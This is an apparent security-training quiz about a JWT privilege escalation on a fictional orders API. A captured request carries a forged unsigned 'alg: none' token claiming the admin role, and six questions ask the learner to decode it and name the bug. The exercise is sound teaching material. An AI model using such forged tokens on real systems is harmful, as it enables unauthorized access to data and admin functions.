Missions / Crypto

The Token That Promoted Itself

AdvancedCrypto200 points~20 min

ChaiCorp's orders API uses JSON Web Tokens (JWT) for login. Yesterday, a normal customer account listed every user and deleted one through the admin API.

You have the token the server issued at login (Token A) and the request that reached the admin API, captured by the reverse proxy (it carries Token B). A JWT is header.payload.signature, and the first two parts are only Base64URL encoded, so you can decode them with any Base64 decoder (replace - with + and _ with / if your decoder complains).

Decode both tokens and compare them.

text Token A - issued to the customer by POST /api/login
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1XzIxODciLCJuYW1lIjoiQmlsYWwgQWhtZWQiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5NTAwMDAwMCwiZXhwIjoxODI2NTM2MDAwfQ.goQ0lt9w63M-OIR6HH6iXbl8FbEAGVzmHZnm_sBJrFU
http Request captured by the reverse proxy
GET /api/admin/users HTTP/1.1
Host: api.chaicorp.example
User-Agent: Mozilla/5.0 (X11; Linux x86_64) Firefox/128.0
Accept: application/json
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1XzIxODciLCJuYW1lIjoiQmlsYWwgQWhtZWQiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTUwMDAwMDAsImV4cCI6MTgyNjUzNjAwMH0.
X-Forwarded-For: 198.51.100.140

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 88412

{"users":[{"id":"u_0001","name":"Admin","role":"admin"},{"id":"u_0002", ...

Need help? Review: Encoding, Encryption and Hashing · Broken Access Control and IDOR · Lab: Read the Token

0/6 solved0 / 200 pts

Q1. Which signing algorithm does Token A use?

worth 33 pts

Q2. What is the user ID (the sub claim) in Token A?

worth 33 pts

Q3. Compare iat (issued at) and exp (expires) in Token A. How long is it valid?

worth 33 pts

Q4. What value does the alg field have in Token B?

worth 33 pts

Q5. What role does Token B claim?

worth 33 pts

Q6. Token B has no signature at all, yet the server returned 200. What is the real bug?

worth 33 pts